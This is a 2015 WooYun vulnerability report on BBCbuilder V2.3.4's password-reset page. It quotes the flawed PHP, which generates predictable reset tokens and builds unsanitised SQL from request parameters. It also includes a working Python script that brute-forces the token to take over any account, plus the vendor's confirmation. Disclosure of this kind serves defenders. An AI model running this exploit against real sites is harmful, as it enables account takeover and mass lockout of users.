当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109422

漏洞标题:BBCbuilder重置任意用户密码(附脚本)

相关厂商:shop-builder.cn

漏洞作者: darker

提交时间:2015-04-24 15:51

修复时间:2015-07-23 16:16

公开时间:2015-07-23 16:16

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向第三方安全合作伙伴开放
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

最新版。BCbuilder V2.3.4

详细说明:

lostpass.php

if(!empty($_POST["action"])&&$_POST["action"]=="submit")
{
$info=explode("|",$_POST["userid"]);
$sql="select * from ".MEMBER." where userid='$info[0]'";
$db->query($sql);
$re=$db->fetchRow();
if($re["userid"])
{
$md5=md5(time().rand(0,100));
$md5='lock'.substr($md5,5,strlen($md5));
$db->query("update ".MEMBER." SET password='$md5' where userid='$info[0]'");
$mail_temp=get_mail_template('find_pwd');
$con=$mail_temp['message'];
$url=$config['weburl']."/lostpass.php?md5=$md5&userid=$re[userid]";
$url="<a target='_blank' href='".$url."'>".$url."</a>";
$ar1=array('[sitename]','[username]','[findurl]','[contact]');
$ar2=array($config['company'],$re['user'],$url,$re['name']);
$con=str_replace($ar1,$ar2,$con);
send_mail($info[1],$re["user"],$config['company']." PASSWORD",$con);
$tpl->assign("email",$info[1]);
}
else
msg("lostpass.php");
$tpl->assign('p_email',$info[1]);
$page="lostpass_steptwo.htm";
}


直接发送请求,无需验证。。。(遍历一遍userid,全站用户都无法登陆了)
看另外一段代码。

if(!empty($_POST['resetpass'])&&!empty($_POST['newpass'])&&!empty($_GET['md5']))
{
if($_POST['newpass']!=$_POST['newpass1'])
msg("lostpass.php?msg=1&userid=$_GET[userid]&md5=$_GET[md5]");
else
{
$db->query("update ".MEMBER." set password='".md5($_POST['newpass'])."'
where userid='$_GET[userid]' and password='$_GET[md5]'");
msg("lostpass.php?msg=2");
}
}


ok。
流程如下,发送请求,重置某uid 密码。密码为
$md5=md5(time().rand(0,100));
$md5='lock'.substr($md5,5,strlen($md5));
= =时间戳+rand 100,无压力,爆破。

漏洞证明:

验证脚本:
可能会有些延迟,适当修改增加now。

#coding=utf-8
import time
import datetime
import urllib2, urllib
import hashlib
now=int(time.mktime(datetime.datetime.now().timetuple()))
print now
data = {'action' : 'submit', 'userid' : '1'}
f = urllib2.urlopen(
url = 'http://localhost/bbcbuilderv.2.3.4/lostpass.php',
data = urllib.urlencode(data)
)
for i in range(0, 100 + 1):
s=hashlib.md5(str(now)+str(i)).hexdigest()
s="lock"+s[5:]
data = {'resetpass' : '1','newpass' : '123456','newpass1':'123456'}
f = urllib2.urlopen(
url = 'http://localhost/bbcbuilderv.2.3.4/lostpass.php?userid=1&md5='+s,
data = urllib.urlencode(data)
)

修复方案:

随机数弄长点?重置密码请求再加个验证?

版权声明:转载请注明来源 darker@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-04-24 16:15

厂商回复:

正在处理中

最新状态:

暂无


漏洞评价:

评论